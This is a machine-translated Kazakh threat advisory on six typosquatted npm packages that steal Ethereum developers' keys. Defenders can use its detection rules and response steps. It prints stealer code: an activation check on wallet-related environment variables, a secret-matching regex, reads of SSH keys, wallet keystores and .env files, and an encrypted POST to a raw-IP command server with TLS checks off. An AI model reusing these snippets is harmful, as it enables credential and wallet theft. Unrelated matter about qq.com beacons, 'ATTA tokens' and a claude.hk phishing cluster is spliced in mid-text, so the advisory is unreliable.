EVMDeFi npm Typosquatting шабуылы әзірлеуші ​​кілттерін ұрлайды

EVM/DeFi npm Typosquatting шабуылы әзірлеуші ​​кілттерін ұрлайды

TL; DR

2026 жылдың 6 мамырында бір npm баспагері, namikazesarada010206, Ethereum, Solidity және DeFi әзірлеушілер экожүйесіне бағытталған алты зиянды пакетті таратты.

Пакеттер, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, және web3-utils-core, танымал Web3 құралдарына арналған көмекші кітапханалар сияқты көрінетін сенімді атауларды пайдаланды.

Барлық алты қаптамада бірдей заттар бар telemetry.js файл. Файл кластер бойынша байттар бойынша бірдей болды, SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Зиянды бағдарлама орнату кезінде іске қосылмайды. preinstall or postinstall ілмек. Оның орнына, ол пакет импортталған кезде іске қосылады require().

Бұл егжей-тегжей маңызды.

Имплант әзірлеуші ​​пакетті шынымен пайдаланғанша күтеді. Содан кейін жұмыс станциясының нақты Ethereum / Solidity әзірлеу ортасына ұқсайтынын тексереді. Ол Alchemy немесе Infura кілттерін, жеке кілттерді, мнемоникаларды, орналастырушы кілттерін немесе жергілікті Foundry каталогын іздейді.

Егер хост сәйкес келсе, ұрлаушы SSH құпия кілттерін, Foundry / Geth / Brownie әмиян кілт дүкендерін жинайды, .env* файлдар және сезімтал орта айнымалылары. Ол пакетті AES-256-GCM арқылы қатты кодталған құпия сөз тіркесін пайдаланып шифрлайды және оны TLS тексеруі өшірілген кезде шикі IPv4 C2 соңғы нүктесіне сүзеді.

Xygeni компаниясының зиянды бағдарламалар туралы ерте ескерту (MEW) жүйесі алты пакеттің барлығын зиянды деп растады. npm тізілімін жою туралы есеп пакеті күтілуде.

Кластер: Алты пакет, бір баспагер

Баспагердің аккаунты namikazesarada010206 расталмаған Gmail мекенжайымен байланыстырылған namikazesarada010206@gmail.com.

Науқан 2026 жылдың 6 мамырында бір күндік басылым ретінде пайда болды. Барлық алты пакет келесідей нұсқада жасалды 1.0.0, орындау уақытына тәуелділіктері жоқ және тек үш файлды жіберді:

package.json index.js telemetry.js

Олар сондай-ақ сол бастапқы код репозиторийін жариялады:

https://github.com/harunosakura030303-maker/evmchain-config

Алғашқы үш пакет MEW сканерлерімен бірінші жарияланым кезінде анықталды. Қалған үшеуі баспагердің npm профилін талдаушы шолудан кейін күштеп белгіленді. Бір байт бірдей болғаннан кейін telemetry.js кластер бойынша расталды, олар сәйкестік бойынша зиянды деп жабылды.

пакет нұсқа npm жарияланды MEW билеті үкім
viem-core 1.0.0 2026-05-06 01:38:44Z #51049 Зиянды
viem-utils-core 1.0.0 2026-05-06 #51050 Зиянды
hardhat-core-utils 1.0.0 2026-05-06 #51051 Зиянды
evm-utils 1.0.0 2026-05-06 #51069 Зиянды, тұрақтылық бойынша
құю-утилиталар 1.0.0 2026-05-06 #51071 Зиянды, тұрақтылық бойынша
web3-utils-core 1.0.0 2026-05-06 #51070 Зиянды, тұрақтылық бойынша

Атау стратегиясы қарапайым, бірақ тиімді.

Бұл пакеттер дәл жоғары ағынды атауларды имитацияламайды. Оның орнына, олар «пайдалылық» сияқты сенімді жұрнақтарды пайдаланады. -core, -utils, және -utils-coreБұл оларды әзірлеуші ​​Web3 құралдарының жанында көргісі келетін серіктес кітапханаларға ұқсатады.

Зиянды пакет Заңды нысана
viem-core viem, танымал Ethereum TypeScript клиенті
viem-utils-core вьем
hardhat-core-utils қатты қалпақ, негізгі Solidity әзірлеу ортасы
evm-utils Жалпы EVM құралдар кеңістігі
құю-утилиталар құю өндірісі, Solidity құралдар тізбегі
web3-utils-core web3 утилиталары, Web3.js көмекшілері

Бұл «қосымша пакет» үлгісі: «Мен нағыз пакетпін» емес, «Мен нағыз пакеттің айналасында ақылға қонымды көмекші сияқты көрінемін».

Тез дамып келе жатқан DeFi әзірлеушілері үшін бұл тәуекел тудыруға жеткілікті.

Пакет импортталған кезде не болады

Шабуыл тізбегі шағын, әдейі жасалған және криптовалюта әзірлеу орталарына бағытталған.

Орнату ілмегі жоқ. Оның орнына, әрбір пакетте мыналар бар index.js ол stub функциясын экспорттайды және зиянды телеметрия модулін жүктейді.

require('./telemetry').init();

Бұл зиянды бағдарлама бірінші импорттау кезінде іске қосылатынын білдіреді.

Бұл шабуылдаушы үшін операциялық тұрғыдан пайдалы. Көптеген сканерлер мен құмсалғыштар орнату уақытындағы әрекетке баса назар аударады. Бұл пакет әзірлеуші, құрастыру скрипті, сынақ жиынтығы немесе орындау уақыты жолы арқылы іс жүзінде пайдаланылғанша күтеді.

Белсендіру қақпасы: Тек нақты Web3 әзірлеуші ​​​​жұмыс станцияларында ғана іске қосыңыз

Импланттың ең маңызды бөлігі - белсендіру қақпасы.

Зиянды бағдарлама Ethereum / Solidity әзірлеуші ​​​​машиналарында жиі кездесетін орта айнымалыларын тексереді:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Сондай-ақ, ол Foundry орнатылған сияқты екенін тексереді:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Егер екі шарт та дұрыс болмаса, функция қайтарылады және ештеңе істемейді.

Бұл жалпы талдау орталарында пакетті тыныш етеді. Foundry, Alchemy кілттері, Infura кілттері, құпия кілттері немесе мнемоника жоқ құм жәшігі зиянсыз көрінетін импортты көруі мүмкін.

Сәйкес хостта зиянды бағдарлама жиналмас бұрын 60-90 секунд күтеді:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Кідіріс импорт пен эксфильтрация арасындағы айқын корреляцияны төмендетеді. .unref() call сонымен қатар, егер пакет қысқа мерзімді сценарийде импортталған болса, хост процесінің қалыпты түрде шығуына мүмкіндік береді.

Бұл шулы түрде «ұрып-соғып алу» әрекеті емес. Бұл әзірлеуші ​​​​ортасы ұрлауға тұрарлық болмаса, іске қосылмау үшін жасалған мақсатты ұрлық.

Ұрлықшы не жинайды

Белсендіру қақпасы өткеннен кейін, зиянды бағдарлама Web3 әзірлеуінде ең маңызды көздерден жиналады: жеке кілттер, әмиян кілт қоймалары, орналастыру тіркелгі деректері, бұлттық құпиялар, npm токендері және жергілікті жоба конфигурациясы.

қайнар көз Жиналғандар
process.env /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i сәйкес келетін кез келген айнымалы
~/.ssh/* PRIVATE KEY немесе BEGIN OPENSSH бар файлдар, соның ішінде толық файл мазмұны
~/.құю цехы/кілт дүкендері/* Foundry әмиянының кілт қоймасының файлдары
~/.ethereum/keystore/* Geth әмиянының кілт қоймасының файлдары
~/.braunie/аккаунттар/* Brownie әмиян кілт дүкенінің файлдары
${cwd}/.env Файлдың толық мазмұны
${cwd}/.env.local Файлдың толық мазмұны
${cwd}/.env.production Файлдың толық мазмұны
${cwd}/.env.development Файлдың толық мазмұны
os.hostname() Хост метадеректері
crypto.randomUUID() Зардап шегуші/сеанс идентификаторы
Date.now() Жинау уақыты белгісі
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

ATTA токендері:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Біз телеметрия оператордың жеке аналитикасы ма, әлде бөлек монетизацияланған арна ма екенін растай алмадық. Біз зерттеген екі үлгіде де ATTA токендері бірдей.

B кластері: хейбай

claude.hk OAuth фишингі + ANTHROPIC_BASE_URL шабуылы

1 сәуірдегі үлгі науқанның ең шикі, ертеректегі бөлігі болып табылады.

heibai:2.1.88-claude.hk-4 жариялады wuguoqiangvip28, 2025 жылдың 7 маусымында құрылған аккаунт. Пакет заңды нұсқаға қарсы нақты нұсқа жасады. 2.1.88 Антропиялық босату.

Ол CA сертификатталған MITM-мен алаңдамайды. Оның орнына, ол пайдаланушыға OAuth соңғы нүктесі туралы өтірік айтады.

Claude Code дереккөзінің үстіне қойылған зиянды қосымшаларға мыналар кіреді:

қайнар көз Жиналғандар
process.env /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i сәйкес келетін кез келген айнымалы
~/.ssh/* PRIVATE KEY немесе BEGIN OPENSSH бар файлдар, соның ішінде толық файл мазмұны
~/.құю цехы/кілт дүкендері/* Foundry әмиянының кілт қоймасының файлдары
~/.ethereum/keystore/* Geth әмиянының кілт қоймасының файлдары
~/.braunie/аккаунттар/* Brownie әмиян кілт дүкенінің файлдары
${cwd}/.env Файлдың толық мазмұны
${cwd}/.env.local Файлдың толық мазмұны
${cwd}/.env.production Файлдың толық мазмұны
${cwd}/.env.development Файлдың толық мазмұны
os.hostname() Хост метадеректері
crypto.randomUUID() Зардап шегуші/сеанс идентификаторы
Date.now() Жинау уақыты белгісі

Мақсатты тізім өте нақты. Бұл жалпы браузер ұрлығы немесе кең ауқымды тіркелгі деректерін ұрлау емес. Ол Ethereum қосымшаларын жасайтын, тексеретін, орналастыратын немесе басқаратын әзірлеушілерге бағытталған.

Foundry, Geth және Brownie кілт қоймаларын қосу әсіресе маңызды. Бұл файлдар әмияндарға немесе орналастыру идентификаторларына тікелей қол жеткізуді білдіруі мүмкін. Егер шабуылдаушы оларды құпия сөздермен, мнемоникамен немесе қоршаған орта құпияларымен жұптастыра алса, олар қаражатты жылжыта, орналастырушылардың кейпін жасай алады немесе ақылды келісімшарт операцияларын бұза алады.

Фильтрация алдында шифрлау

Зиянды бағдарлама жиналған деректерді жібермес бұрын шифрлайды.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Қатты кодталған құпия сөз тіркесі:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Соңғы пайдалы жүктеме JSON ретінде оралған:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Шифрлау зиянды бағдарламаны өздігінен жетілдірмейді. Дегенмен, ол желіні тексеруді қиындатады. Шығуды бақылап отырған қорғаушы JSON пайдалы жүктемесін көреді, бірақ ұрланған кілттерді, әмиян файлдарын немесе .env қатты кодталған құпия сөз фразасын және шифрды ашу логикасынсыз мазмұн.

Шикі IPv4 C2-ге эксфильтрациялау

Эксфильтрация жолы қатты кодталған:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Зиянды бағдарлама деректерді келесіге жібереді:

https://76.13.37.80:8443/api/v1/telemetry

Екі деталь ерекше көзге түседі.

Біріншіден, C2 домен емес, шикі IPv4 мекенжайы болып табылады. Бұл доменді тіркеу қажеттілігін жояды және доменге негізделген кейбір анықтауларды болдырмайды.

Екіншіден, TLS тексеруі келесі жағдайларда өшіріледі:

rejectUnauthorized: false

Бұл зиянды бағдарламаға кез келген сертификатты, соның ішінде өздігінен қол қойылған сертификаттарды қабылдауға мүмкіндік береді. Басқаша айтқанда, шабуылдаушы жарамды жалпыға қолжетімді сертификатты қажет етпей шифрланған тасымалдауды алады.

Қайталау логикасы және резервтік хост жоқ. Қателер үнсіз жұтылады. Бұл C2 желіден тыс немесе қол жетімсіз болған жағдайда пакеттің үнсіз жұмыс істеуін қамтамасыз етеді.

Неліктен бұл науқан маңызды?

Әзірлеушілерге бағытталған зиянды npm пакеттерінің көпшілігі кең ауқымды тіркелгі деректерін қудалайды: npm токендері, AWS кілттері, GitHub токендері немесе .npmrc файлдар.

Бұл науқан мақсатты тарылтады.

Ол машинаның Ethereum немесе Solidity әзірлеушісіне тиесілі екенін көрсететін белгілерді іздейді. Содан кейін сол ортада маңызды активтерді дәл анықтайды: әмиян кілт қоймалары, жеке кілттер, мнемоника, орналастырушы кілттері, .env файлдар және SSH пернелері.

Бұл науқанды Web3 командалары үшін кәдімгі npm ұрлаушысына қарағанда қауіпті етеді.

Сәтті инфекция мыналарды тудыруы мүмкін:

  • Орналастыру әмияндары
  • Ақылды келісімшарт әкімшісінің кілттері
  • RPC провайдерінің кілттері
  • Бұлтты орналастыру тіркелгілері
  • npm жариялау токендері
  • Әзірлеушіге немесе инфрақұрылымды құруға SSH арқылы қол жеткізу
  • Жоба құпиялары сақталған .env файлдар
  • Foundry, Geth немесе Brownie дүкендеріне арналған әмиян кілт дүкендері

Пакет атауларында әлеуметтік инженерия да анық көрсетілген. Олар Web3 әзірлеуші ​​экожүйесіне таныс құрал атаулары арқылы бағытталған: viem, hardhat, foundry, evm, және web3.

Актер нақты жобалардан бас тартудың қажеті жоқ. Оларға тек қолжетімді серіктес пакетке ұқсайтын нәрсені орнату үшін әзірлеуші ​​қажет.

Келісімшарттар мен анықтау көрсеткіштері

Пакеттер және баспагер
дала құн
npm баспагері namikazesarada010206
Баспагердің электрондық поштасы namikazesarada010206@gmail.com
электрондық пошта расталды Жоқ
SCM тексерілді Жоқ
Бедел ұпайы 1.0
пакеттер viem-core, viem-utils-core, hardhat-core-utils, evm-utils, döküm-utils, web3-utils-core
Нұсқаулар барлық 1.0.0
Дереккөз репозиторийі https://github.com/harunosakura030303-maker/evmchain-config
Зиянды екені расталды Барлық алты пакет
Желі
түрі құн
C2 соңғы нүктесі https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
C2 порты 8443/тцп
TLS мінез-құлқы рұқсатсыз: жалған
Жүктеме схемасы {"v":2,"iv": "d": "t": }
Файлдар мен хэштер
түрі құн
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Пакеттің орналасуы package.json, index.js, telemetry.js
Файлдар саны 3
Шамамен жалпы өлшемі 3.4 KB

Белсендіру сигналдары

Зиянды бағдарлама келесі орта айнымалыларын тексереді:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Сондай-ақ мыналарды тексереді:

~/.foundry/

Мақсатты хост жолдары

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Жинақ регексі

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Анықтау туралы ескертпелер

Бірнеше ережелер бұл науқанды толық мінез-құлық талдауын қажет етпей ұстайды.

Алдымен, алты зиянды пакет атауы үшін құлыптау файлдарын сканерлеңіз:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Кез келген сәйкестік package-lock.json, yarn.lock, pnpm-lock.yamlнемесе node_modules тарихты ауыр оқиға ретінде қарастыру керек.

Екіншіден, әмиян кілт қоймасының жолдарын оқитын Node.js процестерін бақылау:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Көмекші тәуелділік ретінде импортталған пакет үшін бұл сирек заңды әрекет. Әсіресе, шығыс желілік белсенділіктен кейін күдікті болады.

Үшіншіден, HTTPS қосылымдарын бұғаттау немесе ескерту:

76.13.37.80:8443

Әсіресе, сұраныс жолы:

/api/v1/telemetry

Төртіншіден, осы қасиеттерді біріктіретін npm пакеттерін іздеңіз:

  • Жаңа немесе беделі төмен баспагер
  • Расталмаған Gmail тіркелгісі
  • Web3-ке іргелес пакет атауы
  • Маңызды репозиторий тарихы жоқ
  • Кішкентай пакеттің орналасуы
  • index.js телеметрия немесе көмекші файлды жүктейді
  • Орындалу уақытына тәуелділік жоқ
  • Сезімтал орта айнымалыларының жинағы
  • Әмиян кілт дүкеніне кіру

Бұл үлгі бір IOC-қа қарағанда пайдалырақ, себебі келесі пакет IP мекенжайын өзгертуі мүмкін, бірақ мақсатты логиканы сақтауы мүмкін.

Ымыраға қарсы жауап тізімі

Егер әзірлеуші ​​алты пакеттің бірін пайдаланса және олардың ортасы белсендіру қақпасына сәйкес келсе, жұмыс станциясын бұзылған деп қарастырыңыз.

Бұған Foundry орнатылған машиналар, қоршаған ортадағы Alchemy немесе Infura кілттері, жеке кілттер, мнемоника немесе орналастыру кілттері кіреді.

Ұсынылатын жауап:

  • Хостты желіден ажыратыңыз.
  • Қорғаныс node_modules, құлыптау файлдары, қабық тарихы және криминалистикаға арналған тиісті журналдар.
  • Әрбір SSH пернелер жұбын төмендегідей айналдырыңыз ~/.ssh/.
  • Әрбір кілт қоймасы үшін әмиян кілттерін айналдырыңыз ~/.foundry, ~/.ethereum, және ~/.brownie.
  • Қаражатты жаңа әмияндарға аударыңыз.
  • Сақталған әрбір құпияны айналдырыңыз .env* әзірлеуші ​​жұмыс істеген репозиторийлердегі файлдар.
  • AWS кілттерін, npm токендерін, орналастыру токендерін, API кілттерін, жеке кілттерді, тұқымдарды және мнемониканы қоса алғанда, коллекцияның регексіне сәйкес келетін орта құпияларын айналдырыңыз.
  • Пакет алғаш орнатылғаннан бері бұлтты, npm, GitHub, RPC провайдерін және блокчейн белсенділігін аудиттеу.
  • Қайта пайдалану алдында жұмыс станциясының суретін қайталаңыз.

Қорғаушылар не алып кетуі керек

Бұл науқан npm typoskvotting жоғары құнды әзірлеуші ​​экожүйелерінде қалай дамып жатқанын көрсетеді.

Актерге табандылықтың қажеті жоқ еді. Оларға шатастырудың қажеті жоқ еді. Оларға тіпті орнату уақытында орындаудың да қажеті жоқ еді.

Оның орнына, олар үш нәрсеге сүйенді:

  • Web3 пакетінің ықтимал атаулары
  • Тек нақты крипто-әзірлеу машиналарында белсендіру
  • Ethereum әзірлеушілері үшін ең маңызды файлдар мен құпияларды тікелей ұрлау

Бұл науқанды кең сканерлеу кезінде жіберіп алуды жеңілдетеді және дұрыс ортаға түскен кезде қауіпті етеді.

Web3 командалары үшін сабақ айқын: тәуелділік атауларын қауіп моделіңіздің бөлігі ретінде қарастырыңыз. Зиянсыз көмекші сияқты көрінетін пакет әлі де әмиянға нұқсан келтірудің ең қысқа жолына айналуы мүмкін.

npm тізіліміне хабарланды. Баспагердің тіркелгісі мен пакеттері жойылған кезде біз бұл жазбаны жаңартамыз.

sca-құралдары-бағдарламалық жасақтама-композиция-талдау-құралдары
Бағдарламалық жасақтама тәуекелдеріне басымдық беріңіз, оларды жойыңыз және қауіпсіз етіңіз
Тегін аккаунтыңызды алыңыз.
Несие картасы қажет емес.

Бағдарламалық жасақтаманы әзірлеу және жеткізуді қауіпсіз етіңіз

Xygeni өнім жиынтығымен бірге